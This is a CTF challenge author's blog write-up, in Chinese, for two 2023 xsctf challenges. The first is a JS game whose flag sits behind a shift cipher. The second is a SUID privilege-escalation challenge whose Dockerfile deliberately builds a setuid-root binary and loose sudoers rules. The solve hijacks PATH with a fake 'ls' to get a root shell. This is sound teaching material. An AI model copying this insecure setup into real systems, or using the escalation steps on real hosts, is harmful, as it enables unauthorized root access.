2023xsctf出题记录&wp

这次再次在比赛出题就已经是一位真真正正的毕业老东西了,🦁🧱我的🦁🧱😭😭😭

这次收到@pANz0e胁迫不得不随便出了一道游戏水题,以及一道精心构造的suid提取的misc题,可惜认真构造半天初赛直接出锅,复赛唯一解也是非预期,真是大失所望,具体情况楼下细说

Ezgame

出题思路

先上github上找了个开源的js小游戏

由于是新生赛出太难过于影响体验,所以直接找个地方藏一下score到达1000000以上就给flag的逻辑即可,为了防止被f12大法找到,所以还写了一个简单的加密来藏flag

show_flag

1
2
3
4
if (this.getData(HIGH_SCORE_KEY)>=1000000){
		var highScore = decryptString("bh]cw^]ofq[@,C,,23,2[e]f`eo]e]y");
	
	}

decrypt

1
2
3
4
5
6
7
8
9
function decryptString(str) {
	let decrypted = "";
	for (let i = 0; i < str.length; i++) {
	  let charCode = str.charCodeAt(i);
	  charCode = charCode +4; 
	  decrypted += String.fromCharCode(charCode);
	}
	return decrypted;
  }

解题过程

f12改分数即可~

suid

这题可谓是花了大功夫构造环境,主要是封装进docker费了我不少时间精力

本题灵感来自于助教课《软件安全》的实验配套,seedlab中的**Environment Variable and Set-UID Lab**

dockerfile

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
FROM ubuntu:latest
RUN apt-get update
RUN apt-get install -y gcc
RUN apt-get install -y openssh-server
RUN apt-get install -y sudo
RUN apt-get install -y zsh
RUN apt-get clean
RUN service ssh start
RUN echo "flag{IIIII_d0nt_l!ke_uninten6ed}">/root/flag
RUN chmod 500 /root/flag
COPY ./ls.c /root/ls.c
RUN chmod -v u+w /etc/sudoers
RUN sed -i "44a noweb   ALL=(ALL) /bin/ln,/bin/rm" /etc/sudoers
RUN chmod -v u-w /etc/sudoers
RUN gcc /root/ls.c -o key
RUN chown root key
RUN chmod 4755 key
RUN rm /root/ls.c
RUN useradd --create-home --no-log-init --shell /bin/bash noweb \
&& adduser noweb  users\
&& echo 'noweb:123456' | chpasswd
RUN mv key /home/noweb/key
CMD ["/usr/sbin/sshd", "-D"]

解题过程

1
2
3
4
5
6
7
8
noweb@7b28c3260595:~$ sudo rm /bin/sh
[sudo] password for noweb:
noweb@7b28c3260595:~$ sudo ln -s /bin/zsh /bin/sh
noweb@7b28c3260595:~$ cp /bin/sh /tmp/ls
noweb@7b28c3260595:~$ export PATH=/tmp:$PATH
noweb@7b28c3260595:~$ ./key
7b28c3260595# cat /root/flag
flag{xxx}

可惜由于出题人的考虑不周在实际的比赛过程中还是出现了如下非预期解

出题人已倒了